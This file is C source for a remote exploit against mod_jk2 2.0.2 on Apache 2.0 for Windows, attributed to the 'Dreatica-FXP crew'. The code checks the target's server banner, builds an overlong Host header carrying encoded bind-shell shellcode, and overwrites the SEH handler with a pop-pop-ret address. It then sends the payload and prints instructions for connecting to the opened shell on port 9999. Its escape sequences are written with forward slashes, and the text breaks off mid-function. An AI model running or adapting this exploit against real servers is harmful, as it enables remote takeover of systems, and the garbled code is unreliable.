mo_jk2 v2.0.2 for Apache 2.0 Remote Buffer Overflow Exploit (win32)

/* Dreatica-FXP crew

*

* ----------------------------------------

* Target : mod_jk2 v2.0.2 for Apache 2.0 Win32

* Found by : IOActive Security Advisory

* ----------------------------------------

* Exploit : mod_jk2 v2.0.2 Buffer Overflow Exploit (win32)

* Exploit date : 01.03.2008 - 02.03.2008

* Exploit writer : Heretic2 (heretic2x@gmail.com)

* OS : Windows ALL

* Crew : Dreatica-FXP

* ----------------------------------------

* Info : Exploit was found by IOActive Security Advisory, trivial exploit for win32.

* The only problem here is that the mod_jk2 forstly downcase all letter in Host

* header request, Metasploit v3 have solutions for this case:

* 1. Use non-upper encoder

* 2. Use non-alpha encoder

* i used the first variant here. and all is working good.

* ----------------------------------------

* Thanks to:

* 1. IOActive Security Advisory ( )

* 2. The Metasploit project ( http://metasploit.com )

* 3. Dreatica-FXP crew ( )

* ----------------------------------------

* This was written for educational purpose only. Use it at your own risk. Author will be not be

* responsible for any damage, caused by that code.

************************************************************************************

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <winsock2.h>

#include <ctime>

#pragma comment(lib,"ws2_32")

void usage(char * s);

void logo();

void end_logo();

void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport, char * url);

void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh);

int get_version(char * remotehost, int port, int * itarget);

int validate_args(char * remotehost, int port, int sh, int itarget);

int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port);

SOCKET do_connect (char *remotehost, int port);

// -----------------------------------------------------------------

// XGetopt.cpp Version 1.2

// -----------------------------------------------------------------

int getopt(int argc, char *argv[], char *optstring);

char *optarg; // global argument pointer

int optind = 0, opterr; // global argv index

// -----------------------------------------------------------------

// -----------------------------------------------------------------

struct _target{

const char *t ;

unsigned long ret ;

} targets[]=

{

{"mod_jk2/2.0.2 for Apache 2.0.48", 0x100115c3 },// pop,pop,ret

{NULL, 0x00000000 }

};

struct {

const char * name;

int length;

char * shellcode;

}shellcodes[]={

{"Bindshell, port 9999", 461,

/*

* windows/shell_bind_tcp - 461 bytes

* http://www.metasploit.com
* Encoder: x86/nonalpha

* EXITFUNC=seh, LPORT=9999

*/

"/x66/xb9/xff/xff/xeb/x19/x5e/x8b/xfe/x83/xc7/x6c/x8b/xd7/x3b"

"/xf2/x7d/x0b/xb0/x7b/xf2/xae/xff/xcf/xac/x28/x07/xeb/xf1/xeb"

"/x71/xe8/xe2/xff/xff/xff/x11/x2e/x0f/x36/x03/x2c/x32/x07/x27"

"/x06/x15/x30/x0f/x1a/x17/x38/x0b/x13/x2d/x2b/x15/x28/x15/x13"

"/x13/x04/x08/x27/x13/x2b/x15/x26/x11/x13/x24/x28/x28/x28/x28"

"/x28/x38/x28/x38/x28/x15/x13/x15/x28/x13/x0b/x24/x11/x2a/x26"

"/x13/x24/x28/x26/x13/x32/x32/x24/x2b/x27/x27/x26/x13/x02/x02"

"/x24/x26/x15/x11/x17/x15/x13/x18/x0e/x11/x2b/x22/x11/x37/x39"

"/x39/x01/x13/x09/x06/x37/x24/x29/x2a/x2a/x2a/x11/x2a/x2a/x26"

"/x2a/x13/x28/x11/x24/x17/x29/x13/x28/xfc/x7b/xeb/x7b/xe8/xf9"

"/xff/xff/xff/x60/x8b/x7b/x24/x24/x8b/x7b/x3c/x8b/x7c/x05/x7b"

"/x01/xef/x8b/x7b/x18/x8b/x5f/x20/x01/xeb/x7b/x8b/x34/x8b/x01"

"/xee/x31/xc0/x99/xac/x84/xc0/x7b/x07/xc1/xca/x0d/x01/xc2/xeb"

"/xf4/x3b/x7b/x24/x28/x7b/xe5/x8b/x5f/x24/x01/xeb/x7b/x8b/x0c"

"/x7b/x8b/x5f/x1c/x01/xeb/x03/x2c/x8b/x89/x7b/x24/x1c/x7b/xc3"

"/x31/xdb/x7b/x8b/x7b/x30/x8b/x40/x0c/x8b/x7b/x1c/xad/x8b/x40"

"/x08/x5e/x7b/x8e/x7b/x0e/xec/x7b/xff/xd6/x7b/x7b/x7b/x7b/x33"

"/x32/x7b/x7b/x7b/x32/x5f/x7b/xff/xd0/x7b/xcb/xed/xfc/x3b/x7b"

"/xff/xd6/x5f/x89/xe5/x7b/x81/xed/x08/x02/x7b/x7b/x02/xff/xd0"

"/x7b/xd9/x09/xf5/xad/x7b/xff/xd6/x7b/x7b/x7b/x7b/x7b/x7b/x7b"

"/x7b/x7b/xff/xd0/x7b/x7b/x27/x0f/x7b/x7b/x89/xe1/x95/x7b/xa4"

"/x1a/x7b/xc7/x7b/xff/xd6/x7b/x10/x7b/x7b/xff/xd0/x7b/xa4/xad"

"/x2e/xe9/x7b/xff/xd6/x7b/x7b/xff/xd0/x7b/xe5/x7b/x86/x7b/x7b"

"/xff/xd6/x7b/x7b/x7b/x7b/xff/xd0/x93/x7b/xe7/x7b/xc6/x7b/x7b"

"/xff/xd6/x7b/xff/xd0/x7b/x7b/x7b/x7b/x7b/x7b/x7b/x89/xe5/x7b"

"/x7b/x7b/x29/xcc/x89/xe7/x7b/x7b/x89/xe2/x31/xc0/xf3/xaa/xfe"

"/x7b/x2d/xfe/x7b/x2c/x93/x8d/x7b/x38/xab/xab/xab/x7b/x7b/xfe"

"/xb3/x16/xff/x7b/x7b/xff/xd6/x5b/x7b/x7b/x7b/x7b/x7b/x7b/x01"

"/x7b/x7b/x7b/x7b/xff/xd0/x7b/xad/xd9/x05/xce/x7b/xff/xd6/x7b"

"/xff/xff/x37/xff/xd0/x8b/x7b/xfc/x83/xc4/x7b/xff/xd6/x7b/xff"

"/xd0/x7b/xf0/x8a/x04/x5f/x7b/xff/xd6/xff/xd0"

},

{NULL , NULL }

};

int main(int argc, char **argv)

{

char * remotehost=NULL;

char default_remotehost[]="127.0.0.1";

char temp1[100], temp2[100];

int port, itarget, x, sh;

SOCKET s;

char c;

int option_index=0;

logo();

WSADATA wsa;

WSAStartup(MAKEWORD(2,0), &wsa);

if(argc<2)

{

usage(argv[0]);

return -1;

}

// set defaults

port=80;

itarget=-1;

sh=0;

// ------------

while((c = getopt(argc, argv, "h:p:"))!= EOF)

{

switch (c)

{

case 'h':

remotehost=optarg;

break;

case 'p':

sscanf(optarg, "%d", &port);

break;

default:

usage(argv[0]);

WSACleanup();

return -1;

}

}

if(remotehost == NULL) remotehost=default_remotehost;

memset(temp1,0,sizeof(temp1));

memset(temp2,0,sizeof(temp2));

memset(temp1, '/x20' , 58 - strlen(remotehost) -1);

printf(" # Host : %s%s# /n", remotehost, temp1);

sprintf(temp2, "%d", port);

memset(temp1,0,sizeof(temp1));

memset(temp1, '/x20' , 58 - strlen(temp2) -1);

printf(" # Port : %s%s# /n", temp2, temp1);

memset(temp1,0,sizeof(temp1));

memset(temp2,0,sizeof(temp2));

sprintf(temp2, "%s", shellcodes[sh].name );

memset(temp1, '/x20' , 58 - strlen(temp2) -1);

printf(" # Payload : %s%s# /n", temp2, temp1);

printf(" # ------------------------------------------------------------------- # /n");

fflush(stdout);

printf(" [+] Checking if server is online/n");

fflush(stdout);

s=do_connect(remotehost, port);

if(s==-1)

{

printf(" [-] Server is OFFLINE/n");

end_logo();

return 0;

}

closesocket(s);

printf(" [+] Server is ONLINE/n");

x = get_version(remotehost, port, &itarget);

if(x<0)

{

printf(" [-] Cannot exploit due to errors/n");

WSACleanup();

end_logo();

return -1;

}

unsigned char buf[10000];

unsigned int len;

memset(buf,0,sizeof(buf));

fflush(stdout);

make_buffer(buf, &len, itarget, sh);

printf(" [+] Attacking buffer constructed/n");

if(send_buffer(buf, len, remotehost,port)==-1)

{

printf(" [-] Cannot exploit server %s/n", remotehost);

end_logo();

WSACleanup();

return -1;

}

printf(" [+] Buffer sent/n");

printf(" [+] Connect to %s:%d/n", remotehost, 9999);

end_logo();

WSACleanup();

return 0;

}

SOCKET do_connect (char *remotehost, int port)

{

static struct hostent *host;

static struct sockaddr_in addr;

SOCKET s;

host = gethostbyname(remotehost);

if (!host)

{

perror(" [-] gethostbyname() failed");

return -1;

}

addr.sin_addr = *(struct in_addr*)host->h_addr;

s = socket(PF_INET, SOCK_STREAM, 0);

if (s == -1)

{

closesocket(s);

perror("socket() failed");

return -1;

}

addr.sin_port = htons(port);

addr.sin_family = AF_INET;

if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)

{

closesocket(s);

return -1;

}

return s;

}

int get_version(char * remotehost, int port, int * target)

{

char bufmax[4096], * lp, *lp2, WebBanner[1000], Version[1000], ModJK[1000];

int bytes,j,x;

SOCKET sock;

memset(bufmax,0,sizeof(bufmax));

memset(WebBanner,0,sizeof(WebBanner));

memset(Version,0,sizeof(Version));

memset(ModJK,0,sizeof(ModJK));

sock = do_connect(remotehost, port);

if (sock == -1) return -1;

send(sock, "GET /a.html HTTP/1.0/r/n/r/n",(int)strlen("GET /a.html HTTP/1.0/r/n/r/n"),0);

if ((bytes = recv(sock, bufmax, sizeof(bufmax),0 )) <= 0) return -1;

bufmax[sizeof(bufmax)-1]=0;

if((lp=strstr(bufmax,"Server:"))==NULL) return -1;

if((lp2=strstr(lp,"/r/n"))==NULL) return -1;

strncpy(WebBanner, lp, lp2-lp);

if((lp=strstr(WebBanner,"Win32"))==NULL)

{

printf(" [-] OS is not a Win32/n");

return -1;

}

if((lp=strstr(WebBanner,"Apache/"))==NULL)

{

printf(" [-] No Apache/n");

return -1;

}

if(lp+strlen("Apache/")>WebBanner+strlen(WebBanner)-1) return -1;

lp+=strlen("Apache/");

if((lp2=strstr(lp," "))==NULL) return -1;

strncpy(Version, lp, lp2-lp);

printf(" [+] Version of Apache is %s/n", Version);

x=0;

for(j=0; targets[j].t!=0;j++)

{

if(strstr(targets[j].t,Version)!=NULL)

{

x=1;

break;

}

}

if(x==0)

{

printf(" [-] This version of Apache is UNSUPPORTED/n");

return -1;

}

printf(" [+] This version of Apache is SUPPORTED/n");

strncpy(WebBanner, lp, lp2-lp);

if((lp=strstr(WebBanner,"mod_jk2/"))==NULL)

{

printf(" [-] No mod_jk2/n");

return -1;

}

if((lp2=strstr(lp," "))==NULL) lp2=WebBanner+strlen(WebBanner);

strncpy(ModJK, lp, lp2-lp);

printf(" [+] mod_jk2 is %s/n", ModJK);

x=0;

for(j=0; targets[j].t!=0;j++)

{

if(strstr(targets[j].t,ModJK)!=NULL)

{

*target=j;

x=1;

break;

}

}

if(x==0)

{

printf(" [-] This version of mod_jk2 is UNSUPPORTED/n");

return -1;

}

printf(" [+] This version of mod_jk2 is SUPPORTED/n");

return 0;

}

void prepare_shellcode(unsigned char * fsh, unsigned int * fshlength, int sh)

{

memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);

*fshlength = shellcodes[sh].length;

}

void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh)

{

// prepare shellcode

unsigned char fsh[10000];

unsigned int fshlength;

memset(fsh, 0, sizeof(fsh));

prepare_shellcode(fsh, &fshlength, sh);

// -----------------

// make buffer

unsigned char * cp=buf;

// begin of the HTTP request

memcpy(cp, "GET / HTTP/1.0/r/nHost: ", strlen("GET / HTTP/1.0/r/nHost: ") );

cp+=strlen((char *)cp);

// jff

*cp++='/x90';

*cp++='/x90';

*cp++='/x90';

*cp++='/x90';

// overflowing

memset(cp, '/x41', 5001);

// put the shellcode

memcpy(cp, fsh, fshlength);

cp+=1271;

// calculating backward jump

int jmp_bytes=0xffffffff - (1275);

// putting backward jump

*cp++ = '/xe9';

*cp++ = (char)((jmp_bytes ) & 0xff);

*cp++ = (char)((jmp_bytes >> 8) & 0xff);

*cp++ = (char)((jmp_bytes >> 16) & 0xff);

*cp++ = (char)((jmp_bytes >> 24) & 0xff);

// next SEH record and back jump

*cp++='/x90';

*cp++='/x90';

*cp++='/xeb';

*cp++='/xf7';

// replace SEH

*cp++ = (char)((targets[itarget].ret ) & 0xff);

*cp++ = (char)((targets[itarget].ret >> 8) & 0xff);

*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);

*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);

// trigger exception

cp+=3000;

// copy the last part of the request

memcpy(cp, "/r/n/r/n", strlen("/r/n/r/n") );

cp+=strlen((char *)cp);

}

int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port)

{

SOCKET sock;

sock = do_connect(remotehost, port);

if (sock<0) return -1;

if (send(sock, (char *)buf,(int)strlen((char *)buf),0)<=0) return -1;

closesocket(sock);

return 1;

}

// -----------------------------------------------------------------

// XGetopt.cpp Version 1.2

// -----------------------------------------------------------------

int getopt(int argc, char *argv[], char *optstring)

{

static char *next = NULL;

if (optind == 0)

next = NULL;

optarg = NULL;

if (next == NULL || *next == '/0')

{

if (optind == 0)

optind++;

if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '/0')

{

optarg = NULL;

if (optind < argc)

optarg = argv[optind];

return EOF;

}

if (strcmp(argv[optind], "--") == 0)

{

optind++;

optarg = NULL;

if (optind < argc)

optarg = argv[optind];

return EOF;

}

next = argv[optind];

next++; // skip past -

optind++;

}

char c = *next++;

char *cp = strchr(optstring, c);

if (cp == NULL || c == ':')

return '?';

cp++;

if (*cp == ':')

{

if (*next != '/0')

{

optarg = next;

next = NULL;

}

else if (optind < argc)

{

optarg = argv[optind];

optind++;

}

else

{

return '?';

}

}

return c;

}

// -----------------------------------------------------------------

// -----------------------------------------------------------------

// -----------------------------------------------------------------

void usage(char * s)

{

printf("/n");

printf(" Usage: %s -h <host> -p <port>/n", s);

printf(" -------------------------------------------------------------------/n");

printf(" Arguments:/n");

printf(" -h ........ host to attack/n");

printf(" -p ........ port to use/n");

printf("/n");

printf(" Supported mod_jk versions:/n");

for(int j=0; targets[j].t!=0;j++)

{

printf(" %d. %s/n",j+1, targets[j].t);

}

printf("/n");

printf(" Execution: %s/n/n", shellcodes[0].name);

end_logo();

}

void logo()

{

printf("/n/n");

printf(" ####################################################################### /n");

printf(" # ____ __ _ ______ __ _____ #/n");

printf(" # / __ //________ _____/ /_(_)_________ / __/// /// / / _ / #/n");

printf(" # / / / / ___/ _ /// __ / __/ / ___/ __ / ___ / / // / / // / #/n");

printf(" # / /_/ / / / ___/ /_// /_/ / /__/ /_// /__/ / _/ / // / ___/ #/n");

printf(" # /_____/_/ //___/ //_,_///__